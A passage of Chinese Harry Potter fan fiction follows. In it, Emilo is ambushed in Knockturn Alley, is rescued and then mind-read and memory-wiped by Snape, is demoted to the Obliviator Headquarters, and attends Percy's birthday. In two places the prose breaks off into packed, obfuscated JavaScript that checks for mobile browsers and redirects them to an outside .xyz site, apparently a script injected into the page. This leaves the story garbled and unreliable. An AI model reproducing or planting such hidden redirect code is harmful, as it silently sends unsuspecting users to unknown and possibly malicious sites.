这个念头驱使着他,几乎是本能地,在半夜“啪”地一声幻影移形到了对角巷。冰冷的夜风瞬间灌满他的长袍,激得他一个哆嗦,也吹散了些许混沌。他茫然地看着眼前漆黑一片、空无一人的街道,两旁店铺门窗紧闭,只有几盏昏黄的路灯在夜风中摇曳,投下长长的、扭曲的阴影。 “真是昏了头……”埃米洛拍了一下自己的额头,“回去睡觉,明天还要上班……你多大了?你还是你么?这么冲动?” “前面的人!别动!举起手来!”一道刺眼的白光如同利剑般骤然劈开黑暗,精准地锁定了他,强光让他瞬间睁不开眼。 埃米洛呼吸一窒。是傲罗巡逻队?还是……更糟的? 借着强光边缘的余光,他勉强辨认出两个身影——阿拉斯托·穆迪那只疯狂旋转的魔眼在黑暗中闪烁着诡异的光芒,旁边是埃德加·伯恩斯先生,他举着魔杖,脸色是前所未有的严峻。 今晚有秘密行动?念头电光火石般闪过。不等他仔细回想,穆迪那只粗糙有力、布满疤痕的手已经如铁钳般伸了过来,毫不客气地抚摸过他的下颌骨轮廓、腕骨关节,动作快如闪电。同时,一只体型巨大、嗅觉灵敏的猎犬(显然是用来探测复方汤剂伪装)猛地扑到他脚边,湿热的鼻息喷在他腿上,口水几乎要糊在他的裤子上,发出威胁的低吼。 “是真人。”伯恩斯先生的声音响起,带着一丝松了口气的意味,但警惕并未放松。 “小子!”穆迪那只正常的眼睛和魔眼同时死死锁定他,声音沙哑严厉,“深更半夜,在这种被标记为高度危险的宵禁区域游荡,想干什么?说!”他手中的魔杖稳如磐石,随时可能发出致命一击。 “我家在这边,我回来看看……”埃米洛试图解释,但话未说完,伯恩斯先生突然一个箭步上前,温热的手掌捂住了他的嘴,将他猛地拉入旁边建筑投下的浓重阴影里。几乎同时,穆迪将一块冰凉、触感异常顺滑的织物兜头罩在了三人身上。 那只大狗非常聪明的钻进来一旁的店铺里。 “嘘——!”伯恩斯先生比了个极其严厉的噤声手势,眼神锐利如刀,同时将刚才被穆迪没收的魔杖塞回埃米洛手中,他强壮的手臂将埃米洛保护性地往自己怀里带了带。 四周瞬间陷入一片死寂。只有夜风吹过空荡街道的呜咽,和远处一只乌鸦“啊啊”的嘶哑叫声。一片漆黑的羽毛从他们头顶飘落,无声地掉在窗台上。 “……Lord究竟让我们找什么东西……还给去翻倒巷?要知道我讨厌那里,那里太脏了。”一个带着明显厌烦和高傲的声音从不远处传来,埃米洛立刻认出这是埃文·罗齐尔——他们去年刚比过一场魁地奇。 “闭嘴吧,埃文。Lord说是非常尊贵的、属于斯莱特林创始人的东西,去了自然能认出来。……能不能别再耽误时间了?弄脏了你这身华贵的袍子,回去我给你十件新的!每次都拖拖拖,再磨蹭下去,那些混血全都要爬到我们头上耀武扬威了!”另一个声音不耐烦地响起,是雷古勒斯·布莱克,语气中压抑着对同伴的不满。 “哟?你不是和西弗勒斯·斯内普,关系挺‘好’的么?”罗齐尔的声音带着戏谑的嘲弄,“我看你俩在学校可是形影不离,讨论那些黑魔法小玩意儿讨论得挺热乎。” “合格的斯莱特林需要一双发现人才的眼睛,卢修斯也认同他是个天才。但这绝不意味着纯血统就该懈怠!我们应该比他们做的更好才是。”雷古勒斯的声音陡然拔高,带着被冒犯的冰冷,“你到底走不走?不走我一个人去!耽误了Lord的任务,后果你自己清楚!”他的脚步声明显加快了。 罗齐尔低声咒骂了一句,不情不愿地跟了上去。 他们的脚步声和交谈声逐渐远去。埃米洛感觉自己被伯恩斯先生带着,像两道无声的影子,借着隐形衣的掩护,远远地缀了上去。 “翻倒巷现在就是个巨大的黑魔法陷阱,几乎布满了反幻影移形咒语,而且里面那些八百个心眼子的黑巫师们,很多还在观望,没有彻底倒向神秘人。”伯恩斯先生的声音压得极低,几乎是贴着埃米洛的耳朵响起,温热的气息带来一丝安全感,“罗齐尔和布莱克,我们本来以为是被派去谈判或施加压力的……现在看来他们还有别的目的。害怕么,埃米洛?害怕的话,我和阿拉斯托会先送你安全离开。如果不怕……”他的目光在黑暗中锐利如隼,“就跟紧我们,握好你的魔杖,随时准备战斗。” 埃米洛摇了摇头。伯恩斯先生给了他一个无声却充满赞赏的眼神。 他们一路潜行,最终抵达翻倒巷那令人压抑的入口。气氛比前几年更加阴森可怖。一群穿着统一黑袍、戴着兜帽的身影如同鬼魅般把守着狭窄的入口,魔杖尖端闪烁着不祥的光芒,对每一个试图进入的人进行着极其严密的搜身和魔法检测。 穆迪的这件隐形衣效果非凡,他们几乎是紧贴着前面一个黑袍人的后背,在对方掀开兜帽接受检查的混乱瞬间,险之又险地蹭着对方的袍角滑了进去,与那群守卫擦身而过。空气里弥漫着劣质烟草、腐烂垃圾和某种刺鼻魔药混合的臭味。就在这千钧一发的紧张关头,埃米洛的感官却捕捉到了一丝极其微弱、几乎被掩盖的异样气息——一丝非常淡的、混杂着青草与百合花香的洗涤剂味道。他下意识地、极其隐蔽地嗅了嗅这件隐形衣,然后锁紧了眉头。 他飞速的看了穆迪一眼,用了一个非常简单的无声咒,将这丝气味存放在了一个随身携带的小瓶里。 罗齐尔和雷古勒斯的目的地,竟然是埃米洛熟悉的博金-博克黑魔法商店。那扇布满污垢的橱窗后,老博金那张谄媚的脸和一口标志性的黄牙在昏暗的灯光下浮现。他的腰弯得几乎成了九十度,用夸张的谄笑将两位年轻的纯血少爷迎了进去,店门在他们身后无声地关上。 “走吧。”穆迪沙哑的声音在隐形衣下响起,带着不容置疑的命令,“撤退。” “我们不等等看他们进去到底找什么吗?”伯恩斯先生的声音带着一丝不易察觉的急切,“万一是什么关键物品……” “博金-博克?哼!”穆迪发出一声不屑的冷笑,“无非是些见不得光的黑魔法小玩意儿,或者替神秘人收买人心的交易。今天的任务只是打探他们下一步的动向。现在看来,他们今晚的重点不是讨论战略。撤退!立刻!”他的语气斩钉截铁。 伯恩斯先生似乎还想说什么,嘴唇动了动,但最终选择了服从。就在三人准备悄然后撤的瞬间—— “布莱克!罗齐尔!你们背后的尾巴跟了你们一路了,没发现吗?!”一个冷酷、嘶哑如同砂纸摩擦的声音骤然在死寂的巷子里炸响! 埃米洛猛地抬眼,心脏几乎停止跳动!巷子阴影里,缓缓走出两个身影。一个身材异常高大魁梧,毛发粗重,脸上带着残忍的狞笑——芬里尔·格雷伯克!那个臭名昭著、以虐杀儿童为乐的狼人通缉犯!另一个男巫则显得精瘦,高耸的颧骨在阴影下如同刀削,周身散发着浓烈到令人窒息、几乎冻结血液的阴冷黑魔法气息。埃米洛瞬间认出那是安东宁·多洛霍夫!一个极度危险的食死徒核心成员!从潜入到现在一直维持的镇定瞬间瓦解,一股冰冷的寒意顺着脊椎直冲头顶,冷汗瞬间浸湿了后背。 “走!”穆迪的怒吼如同惊雷!他猛地掀开隐形衣,魔眼疯狂旋转,粗壮的魔杖瞬间爆发出刺目的红光,一道威力巨大的昏迷咒率先轰向格雷伯克!他高大的身躯如同礁石般暴露在敌人火力之下,为同伴争取瞬间的逃脱机会! “我们走!”伯恩斯先生反应极快,一把抓住埃米洛的胳膊,巨大的力量几乎将他整个人提了起来,抱着他就地一个翻滚,险险躲过一道擦着头皮飞过的惨绿色杀戮咒,滚入旁边一堆散发着恶臭的垃圾箱后。“快!” “穆迪他……”埃米洛在翻滚中瞥见穆迪被数道咒语的光芒包围。 “他自己可以!相信他!”伯恩斯先生的声音带着一种在生死边缘淬炼出的绝对冷静,眼神中的决绝让埃米洛把剩下的话咽了回去。两人借着垃圾箱和房屋墙壁的掩护,在狭窄、堆满杂物的巷子里亡命奔逃。身后,咒语的尖啸声、食死徒的怒吼声、建筑被炸碎的轰鸣声交织成一片死亡的狂想曲! 然而,芬里尔·格雷伯克那属于狼人的恐怖嗅觉如同跗骨之蛆,始终牢牢锁定着他们逃离的方向!浓重的血腥味和汗味在黑暗中如同灯塔!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15952468|175933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “听着,埃米洛——”伯恩斯先生的声音在狂奔中急促而清晰,他指向前方巷口一群同样穿着黑袍、正被混乱吸引而聚集过来的人影,“看到那群人了吗?一会儿我会装作被咒语击中倒地,吸引他们的注意力!你立刻脱掉隐形衣,混进人群里跑!人群的气味会干扰格雷伯克的鼻子!听见了吗?跑!用最快的速度冲出翻倒巷,一旦脱离反幻影移形范围,立刻幻影移形!不要回头!” 两人又惊险地穿过一片被咒语炸塌的矮墙废墟。伯恩斯先生猛地停下脚步,魔杖高举,一道耀眼夺目的银白色光芒骤然爆发!一只健壮矫健的獾形守护神瞬间成型!它没有冲向敌人,而是发出一声无声的尖啸,猛地一头扎入脚下的石板地,消失不见!显然是在传递某种紧急讯号! “跑!”就在守护神消失的瞬间,伯恩斯先生用尽全身力气,猛地将埃米洛朝前方混乱的人群狠狠推了出去!同时,他踉跄一步,发出一声痛苦的闷哼,捂着胸口朝侧面倒下,魔杖脱手飞出,一副被重创的样子! 人群因为这突如其来的冲撞发生了一阵小小的混乱和惊呼。埃米洛借着这股推力,在跌倒前顺势甩掉身上碍事的隐形衣,迅速拉上兜帽遮住大半张脸,压低身体,像一条滑溜的鱼,瞬间钻入惊疑不定、推搡拥挤的黑袍人群中。他屏住呼吸,利用人群的掩护和混乱的气味,拼命朝着记忆中的出口方向挤去。 心脏在胸腔里疯狂擂动,几乎要撞碎肋骨。几道颜色各异的咒语擦着他的身体飞过,击中旁边的人或墙壁,溅起碎石和惨叫。他凭借本能反应,身体以不可思议的角度扭曲、闪避,每一次都险之又险。 前方就是那个守卫森严的检查口!格雷伯克愤怒的咆哮和沉重的脚步声正在逼近!他该怎么过去?! 情急之下,埃米洛瞥见旁边一栋低矮店铺的屋顶。他猛地助跑几步,借着墙角堆积的杂物奋力一跃,双手攀住了屋檐边缘!他用力将自己拉了上去!动作迅捷得如同一只夜行的猫。 “昏昏倒地(Stupefy)!”他居高临下,魔杖指向下方一个背对着他、正警惕望向巷内混乱的守卫。红光精准命中,守卫一声不吭地软倒。 “谁?!” “搜!谁发射的咒语!战出来!” “抓住他!别让那个趁乱跑了!” 守卫的呼喝和咒语立刻追了上来!埃米洛不敢停留,在倾斜的瓦片上跌跌撞撞地奔跑,然后看准下方一处相对空旷的阴影,纵身跃下! “砰!”落地时巨大的冲击力让他右脚踝传来一阵钻心的剧痛——崴了!他闷哼一声,差点摔倒,但求生的本能压倒了一切!他咬紧牙关,拖着剧痛的右脚,趁着守卫们被其他人的混乱吸引、视线混乱的刹那,发足狂奔,朝着通往对角巷的狭窄巷口冲去! “他在那里!拦住他!”一个尖锐的声音刺破喧嚣,指向他一瘸一拐的身影。 数道魔杖的光芒瞬间锁定了他!埃米洛的心沉入深渊,他握紧自己的魔杖,给自己瞬间施了一个盔甲守护…… 就在这千钧一发之际!旁边一堆散发着霉味的废弃麻袋堆里,一只苍白、骨节分明的手如同毒蛇出洞般闪电伸出!冰凉的手指死死扣住了他的手腕,将他整个人猛地拽进了更深、更浓重的黑暗之中! 埃米洛猝不及防,被巨大的力量拖得一个趔趄,后背重重撞在冰冷的石墙上。剧痛和惊骇让他瞬间握紧了魔杖,魔杖尖端本能地指向黑暗中那只手的主人。 “别动!”一个压低到极致、却异常熟悉的声音在咫尺之遥响起,带着一种不容置疑的冰冷命令。 这声音像一道电流瞬间击穿埃米洛紧绷的神经!他猛地抬头,在几乎伸手不见五指的黑暗中,隔着冰冷的兜帽边缘和面具,与一双深不见底、如同最深沉寒潭的黑眸对上了视线! ……西弗勒斯·斯内普! 那双漆黑的眼睛里没有任何重逢的波澜,只有一片冰冷的审视和一丝不易察觉的紧迫。西弗勒斯动作快如鬼魅,迅速从自己怀里掏出另一副冰冷的、刻画着诡异纹路的食死徒面具,不由分说地扣在了埃米洛的脸上,遮住了他大半张惊疑不定的脸。 “跟着我。别说话,别做多余的动作。”西弗勒斯的声音压得更低,如同耳语,却带着不容抗拒的力道。他松开钳制埃米洛的手,转身,黑袍在黑暗中划出一个利落的弧度,朝着检查口大步走去。埃米洛强压下心中的惊涛骇浪和脚踝的剧痛,一瘸一拐地紧跟其后。 “站住!刚才发生了袭击,我们需要排查所有可疑人员——”一个守卫横过魔杖拦在斯内普面前,语气强硬。 “滚开!”西弗勒斯的声音陡然拔高,冰冷刺骨,带着一种居高临下的傲慢和不耐烦,他一把粗暴地推开守卫,“我有Lord亲自交代的紧急任务!耽误了,你担待得起吗?!”他的眼神如同淬毒的冰锥,刺得那守卫下意识地后退了一步。 “……抱、抱歉,先生!您请!”守卫看清了西弗勒斯面具边缘露出的冷硬下颌和他周身散发的阴冷气息,又瞥了一眼他身后沉默跟随、同样戴着面具的埃米洛,连忙弯腰让开道路,声音带着惶恐。 他们畅通无阻地穿过了森严的检查口,踏入同样萧条死寂的对角巷。寒风卷起地上的落叶和废纸。 “看样子……你在食死徒那边混得相当不错。”脱离了最危险的区域,埃米洛才敢压低声音,带着一丝难以言喻的复杂情绪开口。 “看样子你在魔法部混得不怎么样。”西弗勒斯冷哼一声,头也不回,声音里充满了毫不掩饰的讥诮,“深更半夜出现在翻倒巷,还差点被自己人当靶子打,最后要靠一个食死徒捞你出来。德蒙特,你自己不觉得搞笑么?” 两人沉默地快步穿行在破败的对角巷,最终停在了破釜酒吧后门附近一个不起眼的、堆满废弃杂物的角落。这里远离主路,相对隐蔽。 西弗勒斯停下脚步,转过身。冰冷的月光勉强勾勒出他瘦削的轮廓和面具下紧绷的线条。 “谢谢你。”埃米洛深吸一口气,努力让声音听起来平稳。他还想说些什么,比如询问他最近的情况,比如……但西弗勒斯那双漆黑的眼睛在面具孔洞后骤然锁定了他,那眼神冰冷、锐利,带着一种穿透灵魂的审视,让埃米洛所有的话都卡在了喉咙里。 一种极其不祥的预感瞬间攫住了他! “摄神取念(Legilimens)!” 没有预兆!没有魔杖动作!一道冰冷、强大、充满侵略性的意志如同无形的钢锥,狠狠凿进了埃米洛毫无防备的脑海!剧痛瞬间炸开!他感觉自己的大脑像一本被强行摊开的书页,无数记忆碎片被粗暴地翻动、检视:克劳奇办公室冰冷的压迫感、堆积如山的投诉卷宗、处理魔杖记录时的枯燥与沉重、小巴蒂断臂的惨状和病房里的嘶吼、伯恩斯先生温和的笑容、韦斯莱家温暖的灯光、冥想盆……不行!不能看!那些冥想盆里的东西!关乎了魔法部的核心人物和人群!埃米洛在剧痛和巨大的惊骇中爆发出强烈的抵抗意志,用尽全力筑起精神屏障,狠狠地将那股入侵的意志向外推拒! 他发出一声痛苦的闷哼,身体剧烈地摇晃,眼前阵阵发黑,精神屏障被强行突破的反噬让他头痛欲裂,如同被劈开了颅骨!他双腿一软,控制不住地向前跪倒在地,豆大的冷汗瞬间浸透了额发,砸在冰冷肮脏的地面上。他一只手痛苦地捂住额头,另一只手却猛地伸出,死死抓住了西弗勒斯垂落的黑袍下摆,指关节因用力而泛白。 “……你……你对我,施咒……”每一个字都像是从牙缝里挤出来的。 他睁开被冷汗粘在一起的睫毛,目光如同在无边黑暗中燃烧起的锐利烛火,死死钉在西弗勒斯的脸上! “我为什么不可以呢?”西弗勒斯也缓缓蹲了下来,与他平视。面具后的声音冰冷得没有一丝温度,甚至带上了一丝近乎残忍的“同情”,“德蒙特,你是不是……太天真了?或者说,太相信我了?”他微微歪了歪头,冰冷的视线如同手术刀,“别忘了,我现在的身份……是一个彻头彻尾的食死徒。一个食死徒,对他遇到的、落单的敌方人员使用摄神取念,获取情报,有什么不对吗?” 埃米洛的呼吸粗重得如同破旧的风箱,抓住黑袍的手指剧烈颤抖。西弗勒斯静静地看了他几秒,似乎在评估他精神受创的程度。然后,他缓缓举起了魔杖,杖尖再次对准了埃米洛剧痛难当、防御崩溃的太阳穴。这一次,他的声音里带上了一种奇异的、冰冷的决断: “最后一件事,当然,这也是在帮你。” “一忘皆空(Obliviate)!” 杖尖爆发出刺目的白光,吞没了埃米洛惊骇欲绝、充满愤怒的目光。世界,连同那晚在翻倒巷经历的一切惊心动魄、死里逃生,以及那双冰冷黑眸中最后一丝难以解读的复杂……都在白光中彻底沉入了无边的黑暗。 20.一封降职令 埃米洛的目光落在桌面上那封烫着魔法部徽记的信函上——这次不是平调通知,而是一封标准的降职令:从核心部门法律执行司成员,到魔法事故灾害司下属的记忆注销指挥部。羊皮纸的质地粗糙,字迹甚至带着一丝连笔的卷曲,可见这封通知是瞬间就被批下来的。 “哎呀,别灰心啊学弟。” 伯莎将一杯堆得冒尖、颜色斑斓的花生草莓冰激淋“咚”地一声放在那封碍眼的调令旁边。粉色的草莓酱汁正沿着杯壁缓缓下滑。“你这纯粹是无妄之灾——谁能想到半夜出门买个夜宵还能撞上那群阴沟里的老鼠(食死徒)?对吧?对吧?” 她凑近了些,试图捕捉埃米洛眼底的情绪,语气放得更软了些,“况且人生嘛,起起落落起起,梅林让你命中注定有这么一劫,说不定是替你挡了更大的灾祸呢……” 埃米洛没有立刻回应,伸出略显苍白的手指,轻轻摩挲了一下信函边缘锐利的折角——几天前,他是在圣芒戈刺鼻的消毒水气味中苏醒的。映入眼帘的是韦斯莱先生那张写满忧虑的脸。他从同事和圣芒戈治疗师零碎的叙述里勉强拼凑出那个夜晚:在对角巷的阴影中遭遇食死徒伏击,检查结果陈列着——摄魂取念和一忘皆空的魔咒痕迹清晰地烙印在他身上。对方的目标显然就是像他这样落单的魔法部官员。 巴蒂·克劳奇的震怒如同飓风过境。首当其冲的是职员管理部门——“你们是怎么安排的部员培训和安保的?!大脑封闭术都不安排培训?!” 他咆哮声回荡在走廊里。紧接着是急不可耐的“记忆审查”——由最精于此道的巫师反复探查他的脑海,确认他究竟“泄露”了多少傲罗办公室的机密。最后,便是这封降职信。 “我不太伤心,学姐。” 埃米洛平静地开口,打断了伯莎还在酝酿的更多安慰词藻。他拿起那杯冰激淋,冰冷的触感透过纸杯传到掌心。“福吉给我开的工资,是克劳奇那边的1.5倍。” 他舀起一勺混合着花生碎和草莓果酱的冰激淋,语气平淡得像在陈述一个与己无关的事实,“他还特意跟我说,加班有额外提成,按小时算。” “……” 伯莎脸上那副“世界末日即将到来”的担忧表情瞬间凝固了。下一秒,她那双总是充满活力的眼睛猛地瞪圆,几乎要喷出火来。她夸张地倒吸一口冷气,然后猛地扑过来,双手作势掐向埃米洛的脖子(当然没用力),声音拔高了八度:“这么好的事被你小子遇到了啊啊啊啊啊!我现在就去对角巷!随便找个角落蹲着!求哪个路过的食死徒也给我来一剂一忘皆空行不行?!提成!1.5倍!福吉什么时候这么大方了?!让我来!我就是他命中注定的员工!!” 埃米洛被她晃得手里的冰激淋差点脱手,忍不住低笑出声。伯莎总是有办法把最糟心的事搅和得带点荒诞的喜感。 “还是算了……” 伯莎自己先泄了气,松开手,夸张地揉了揉太阳穴,一脸“痛失良机”的表情,“我这么好的记忆力——不能被一忘皆空干扰了……” 她话锋一转,探究的目光再次聚焦在埃米洛脸上,声音压低,带着一丝不易察觉的紧张,“话说……你现在有没有觉得……哪里不对劲?我是说,脑袋里?” “没有。” 埃米洛回答得异常干脆,这也是他醒来后唯一感到困惑的地方。他的记忆被切割得极其完整而且精准。就像有人用最锋利的手术刀,只剔除了特定时段的一块,切口光滑整齐,丝毫不伤及周围的神经脉络。要知道,“一忘皆空”这种咒语,稍有不慎就会造成永久性的记忆混乱或认知损伤,但他却安然无恙,思维清晰如常。 看来这个黑巫师对我还挺“温柔”的。埃米洛怂了怂肩膀,拿着降职信去人事部办理新的员工证明。 记忆注销指挥部的办公室氛围与傲罗办公室截然不同。它隶属于魔法事故灾害司,顶头上司是康奈利·福吉。 福吉本人矮胖圆润,偏爱细条纹的魔法袍,这使得他看上去更像一个富态的商人而非政客。他脸上总是挂着和煦的笑容,给人的感觉是亲切的,甚至有点过分热情,但那笑容深处似乎总藏着一丝不易察觉的、缺乏底气的闪烁。他几乎是张开双臂欢迎了埃米洛,指挥着几个人忙前忙后,帮他把从傲罗办公室带过来的私人物品安置妥当。 “埃米洛,快请坐!” 福吉的办公室色调温暖,米色的墙壁,舒适的绒布沙发,宽大的办公桌上摆着一盆生机勃勃的绿萝,阳光透过洁净的大窗户洒进来。他亲自端来一杯热气腾腾的红茶,里面加了足量的方糖。 “我看过你之前的档案和工作记录,当然,还有你的OWLs和NEWTs成绩单,啧啧啧……非常——优秀!要知道我们部门好久没有你这样的年轻人了!” 他拖长了调子,语气里满是真诚的赞赏,圆圆的脸上堆满笑意。 “克劳奇啊……唉,太不近人情了……” 福吉几乎是叹惋着说道,身体陷进柔软的椅子里,双手交叉放在圆鼓鼓的肚皮上,“咳咳,我猜你现在可能有点伤心?你可能觉得我们这个地方,不是‘核心部门’,不像傲罗那样风光无限。但是!” 他挺了挺胸膛,强调道,“我们这个大家庭的氛围,那是相当不错的!工作舒心,压力也小……我一会儿亲自带你去见奥格登,他是记忆注销指挥部的顶梁柱,经验丰富的老伙计啦……你也不用着急立刻投入工作,先跟着他好好熟悉熟悉流程,学习学习。放心,工资和绩效,” 他乐呵呵地拍了拍自己圆润的肚子,“我照常给你算,一天都不会少!” 奥格登是一位须发皆白、身形清瘦的老人。他的眼神锐利如鹰,透着一股子老傲罗特有的严谨和洞察力,但对待年轻人时,那锐利下又藏着不易察觉的慈祥。他在记忆魔法上的造诣堪称大师级别,每一个魔咒的手势、每一丝魔力的流转都要求得近乎苛刻。 “我也曾经是法律执行司的,孩子。” 在一次课后指导时,奥格登一边用他那布满岁月痕迹、指节分明的大手一下一下、拍着埃米洛的头顶(这让他感觉自己像被敲打的地鼠),一边慢悠悠地说着,“所以我懂你们这些心高气傲的年轻人——NEWTs拿了那么多‘O’,满脑子想着建功立业,打击黑魔法。” “后来我离开了那儿……原因?很多原因……我都数不过来啦,但我可以跟你讲,那里让真正的魔法……反倒成了最不重要的东西。” 他停下拍打,正色看着埃米洛,“我真正学到东西的地方,无论是精妙的遗忘咒、修复咒,还是……人生的道理,都是在这里,在这个看似‘边缘’的指挥部,在那些被别的部门称为‘善后’的不必要工作里……过一段时间你就懂啦。” 埃米洛第一次出外勤的地点是伦敦桥附近的一条辅路。一辆双层巴士以一种匪夷所思的角度侧翻着,车顶凹陷下去一大块,像是被一个无形的巨大拳头砸中。更诡异的是,巴士周围悬浮着大大小小、色彩斑斓的肥皂泡,在午后的阳光下折射出迷离的光晕,泡泡里包裹着各种零碎物品:一个公文包、半块三明治、甚至还有一只惊恐的小狗,正茫然地扒拉着泡泡内壁。 “非法实验的成果,爆炸了。”奥格登言简意赅,声音压得很低,目光扫视着现场,精准地捕捉着每一个需要处理的麻瓜。“情绪放大魔药的气体泄漏了。幸运的是没有直接伤亡,但目击者不少,记忆污染很严重。” 他示意埃米洛靠近一个坐在路边石阶上的年轻女子。她穿着职业套装,头发散乱,脸上还带着泪痕,但眼神空洞,只是呆呆地望着悬浮在面前的一个包裹着旋转咖啡杯的泡泡。 “看到了吗?”奥格登的声音低沉而稳定,带着一种奇异的安抚力量,“她的表层记忆是混乱和恐惧,但更深层是对‘异常’的强烈认知。我们首先要稳定她的情绪,让她接受‘合理’的解释,然后才能安全地移除关于魔法部分的记忆碎片。” 奥格登并没有立刻抽出魔杖。他先是蹲下身,与那女子平视,用一种温和但不容置疑的语调开口:“女士?女士?能听到我说话吗?我们是市政应急部门的。您还好吗?刚才那辆巴士……很不幸,它遇到了一次罕见的……嗯……高压气体管道泄漏事故,引发了小规模爆炸和一些……奇特的物理现象。您受到了惊吓,但您很安全。” 女子茫然地眨了眨眼,视线似乎聚焦了一些在奥格登胸前的徽章(一个麻瓜完全看不出异常的、施加了混淆咒的证件)上。 “爆炸……泡泡……”她喃喃道。 “是的,爆炸产生的冲击波和特殊气体混合,形成了那些暂时性的……漂浮物。看起来很神奇,对吧?但只是物理现象。”奥格登的声音平稳得如同在陈述一个再普通不过的事实。他一边说着,一边极其隐蔽地、用最小的幅度轻轻抖动了一下手腕。埃米洛敏锐地捕捉到一丝几乎看不见的银白色魔力细丝,如同活物般悄无声息地探入女子的太阳穴附近,并非攻击,而更像是在编织一张轻柔的网,梳理着她混乱的思绪,引导她接受这个“合理”的解释。 女子的眼神逐渐安定下来,恐惧被一种困惑和接受替代。“哦……事故……泡泡是气体……” “对,就是这样。现在,为了您的健康和安全,我们需要对您进行一个简单的……嗯……应激反应评估和记忆梳理,确保没有残留的创伤。可能会有一点点清凉的感觉,别担心。” 奥格登这才从长袍内袋里拿出一个看起来像精致香水瓶的银色小喷壶,里面装着一种淡蓝色的液体。他对着女子面前轻轻一喷,细密的水雾带着薄荷的清凉气息弥漫开,其中蕴含着精妙的遗忘魔药。 “看着这个小小的闪光,深呼吸……”奥格登的魔杖尖亮起一点柔和的白光,并不刺眼,却带着奇异的吸引力。女子不由自主地凝视着那点光晕。奥格登口中开始念诵一段极其复杂、音节如同流水般滑过的咒语,声音低沉而富有韵律,魔杖尖端随着咒语描绘出肉眼几乎难以捕捉的微小轨迹。 埃米洛屏住呼吸,全神贯注地观察着。他看见奥格登的魔力精准地“钩”出了女子脑海中关于巴士诡异凹陷、泡泡包裹物品、硫磺等关键画面,然后用一种极其细腻的手法,将这些画面“溶解”在魔药和咒语的光芒里,同时强化了“高压气体管道爆炸”这个植入的记忆片段。整个过程行云流水,带着一种近乎艺术般的精准和控制力。女子的眼神彻底恢复了清明,只是带着一丝疲惫和困惑。 “好了,女士。您经历了一次事故,受了点惊吓,但一切都过去了。那边有救护人员,他们会照顾您的。”奥格登扶起她,将她引向穿着白大褂(同样施加了混淆咒)的魔法事故灾害司医护人员。 处理完这个,奥格登转向那几个还在对着泡泡指指点点的警察。这次他动作更快,范围更广。他抽出魔杖,手腕快速而稳定地划出一个复杂的符号,范围笼罩了那几个警察和附近几个探头探脑的行人。一道无形的涟漪扩散开,伴随着一句短促有力的咒语。瞬间,那几个警察晃了晃脑袋,眼神中的迷茫迅速褪去。 “嘿,约翰,别发呆了!”其中一个警察拍了下同伴的肩膀,“赶紧拉好警戒线!这倒霉巴士撞上泄漏管道了,得赶紧疏散人群,等专家来处理这些……呃……残留气体形成的漂浮物!危险还没解除呢!”他们的语气变得“专业”而“紧张”,仿佛刚才的困惑从未存在过。 “群体性基础混淆和记忆覆盖咒,需要强大的魔力控制和精准的群体心理捕捉。”奥格登收起魔杖,对埃米洛解释道,额角渗出细密的汗珠,显示出刚才的操作并不轻松。“关键是要快、准、稳,在他们自己开始构建更离奇的解释前,把‘官方版本’钉进去。记住,我们不是粗暴地挖走记忆,而是……引导,覆盖。这是仁慈,也是责任。粗暴的一忘皆空会留下空洞,空洞会滋生怀疑,而怀疑会引来我们最不想见到的人。” “来,你来试试——手腕发力,带动魔杖尖端,像这样轻轻一抖……注意轻重!孩子!” 他突然拔高音量,带着严厉,“不要因为我们施法的对象是麻瓜,就觉得可以随意糊弄!每一个魔咒都关乎一个人的记忆,一个家庭的生活!精准和仁慈,同样重要!” --------- 8月22日,珀西的生日。陋居被一股暖烘烘、闹哄哄的生日气氛包裹着。空气中弥漫着莫莉刚烤好的蛋糕的甜香和壁炉里柴火的噼啪声。埃米洛有些拿不准三岁的小孩儿会喜欢什么。他什么都买了一点:一套色彩鲜艳、但搭着搭着总会莫名其妙消失一块(需要小手费力地抠出来)的魔法积木;一盒能在纸上画出会短暂蠕动小生物的彩色画笔;几本讲述神奇动物和简单魔法原理的图画书;还有一把小小的、离地不超过一英尺的玩具飞天扫帚。 “埃米洛,亲爱的,这……这太破费了!” 莫莉·韦斯莱看着堆在桌子上的礼物,双手在洗得发白的围裙上无措地搓着,脸上写满了过意不去,“你挣钱也不容易,我们让你当珀西的小教父,不是为了……不是为了让你这样破费的!而且你前几个星期才出了那么大的事,你母亲也还在圣芒戈休养……我们不能……” “我知道的,莫莉。” 埃米洛坚持地把那盒画笔塞进她手里,又将小扫帚放在珀西能够着的地方,“都不是什么贵重东西,我心里有数……” 正说着,穿着整洁小袍子、顶着柔软红发的小男孩儿跌跌撞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968111|175933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撞地走到他脚边。埃米洛弯下腰,小心翼翼地把这团温热柔软的小东西抱了起来(他现在已经很熟练了)。 珀西的小脑袋靠在他颈窝,那细软的红色发丝蹭着他的耳朵,带来一阵细微的痒意。他相比他高挑的哥哥比尔、圆润可爱的查理,显得要瘦弱一些,抱起来轻轻的。甚至和婴儿床里那两个精力旺盛、时不时就爆发出点小魔力火花把尿布点着的双胞胎比起来,都显得格外安静一些。 “他们可真像我那‘烦人’的哥哥们!” 莫莉看着婴儿床的方向,无奈又宠溺地抱怨道,这几乎成了她的口头禅。 埃米洛知道莫莉有一对双胞胎哥哥,吉迪翁和费比安·普威特。但他从未在陋居见过他们。他完全理解,在这风声鹤唳的时期,连飞路网都因食死徒的破坏而时断时续,哪怕是亲戚也很难维持联系。 …… 